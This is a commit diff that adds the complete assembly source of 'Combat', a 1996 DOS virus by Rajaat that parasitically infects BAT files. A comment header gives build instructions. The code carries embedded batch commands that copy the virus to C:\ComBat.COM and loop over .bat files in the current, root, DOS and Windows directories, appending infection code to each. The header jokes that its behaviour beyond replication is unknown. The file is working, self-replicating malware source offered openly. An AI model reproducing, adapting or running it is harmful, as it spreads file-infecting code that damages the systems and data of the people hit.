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2026-06-15 23:39:23 +00:00 · 2021-01-12 17:34:47 -06:00
parent d3381d8e02
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+;=====( Combat virus by Rajaat )===============================================
+;
+; Non-resident BAT infector, doesn't use external programs by third party.
+;
+;==============================================================================
+;
+; Virus name    : Combat
+; Author        : Rajaat
+; Origin        : United Kingdom, July 1996
+; Compiling     : Using TASM
+;
+;                 TASM /M COMBAT
+;                 TLINK /T COMBAT
+;                 REN COMBAT.COM COMBAT.BAT
+; Targets       : BAT files
+; Size          : Doesn't matter
+; Resident      : No
+; Polymorphic   : No
+; Encrypted     : No
+; Stealth       : No
+; Tunneling     : No
+; Retrovirus    : No
+; Antiheuristics: No
+; Peculiarities : It infects BAT files parasitically
+; Drawbacks     : It's a goddamn BAT infector, what do you think?!?
+; Behaviour     : No really, find out yourself! I was bored and made this,
+;                 do you really think I'd spend time explaining what it DOES?
+;                 It's unknown what this virus might do besides replicate :)
+;==============================================================================
+;
+; Results with antivirus software
+;
+;       TBFILE                    - Not tested
+;       TBSCAN                    - Not tested
+;       TBMEM                     - Not tested
+;       TBCLEAN                   - Not tested
+;       SVS                       - Not tested
+;       SSC                       - Not tested
+;       F-PROT                    - Not tested
+;       F-PROT /ANALYSE           - Not tested
+;       F-PROT /ANALYSE /PARANOID - Not tested
+;       AVP                       - Not tested
+;       VSAFE                     - Not tested
+;       NEMESIS                   - Not tested
+;
+;==============================================================================
+
+.model tiny
+.code
+.radix 16
+
+signature       equ 5240
+
+                org 100
+
+main:
+                db '@REM ',0ff
+                jmp com_entry
+                db ' * ComBat *'
+                db 0dh,0ah
+                db '@echo off',0dh,0ah
+                db 'goto ComBat',0dh,0ah
+
+com_entry:      mov si,80
+                cmp byte ptr ds:[si],0
+                je no_check
+                cld
+find_argument:  inc si
+                lodsb
+                dec si
+                cmp al,20
+                je find_argument
+                mov dx,si
+find_end:       lodsb
+                cmp al,0dh
+                jne find_end
+                mov byte ptr ds:[si-1],0
+                push dx
+                mov ax,3d02
+                int 21
+                jc no_check
+                xchg ax,bx
+                lea dx,virus_end
+                mov ah,3f
+                mov cx,3
+                int 21
+                mov ah,3e
+                int 21
+                pop dx
+                cmp word ptr virus_end,signature
+                je no_check
+                mov ax,4301
+                xor cx,cx
+                int 21
+                mov ah,3c
+                xor cx,cx
+                lea dx,temp_file
+                int 21
+                jc no_check
+                xchg ax,bx
+                mov ah,40
+                lea dx,main
+                mov cx,file_length
+                int 21
+                mov ah,3e
+                int 21
+                mov ax,4c00
+                int 21
+
+                db 0,'Rajaat / Genesis',0
+
+no_check:       mov ax,4c01
+                int 21
+
+temp_file       db 'ComBat.TMP',0
+
+batch_2         db 0dh,0ah
+                db ':ComBat',0dh,0ah
+                db 'if #%_tmp%#==## goto no_call',0dh,0ah
+                db 'C:\ComBat.COM %1',0dh,0ah
+                db 'if errorlevel 1 goto done_ComBat',0dh,0ah
+                db 'type %1 >> ComBat.TMP',0dh,0ah
+                db 'echo. >> ComBat.TMP',0dh,0ah
+                db 'echo :done_ComBat >> ComBat.TMP',0dh,0ah
+                db 'copy ComBat.TMP %1 > nul',0dh,0ah
+                db 'del ComBat.TMP > nul',0dh,0ah
+                db 'goto done_ComBat',0dh,0ah
+                db ':no_call',0dh,0ah
+                db 'set _tmp=%0',0dh,0ah
+                db 'if #%_tmp%#==## set _tmp=AUTOEXEC.BAT',0dh,0ah
+                db 'if not exist %_tmp% set _tmp=%0.BAT',0dh,0ah
+                db 'if not exist %_tmp% goto path_error',0dh,0ah
+                db 'copy %_tmp% C:\ComBat.COM > nul',0dh,0ah
+                db 'for %%f in (*.bat c:\*.bat c:\dos\*.bat c:\windows\*.bat ..\*.bat) do call %_tmp% %%f',0dh,0ah
+                db 'del C:\ComBat.COM > nul',0dh,0ah
+                db ':path_error',0dh,0ah
+                db 'set _tmp=',0dh,0ah
+file_length     equ $-main
+virus_end       equ $
+                db ':done_ComBat',0dh,0ah
+
+end main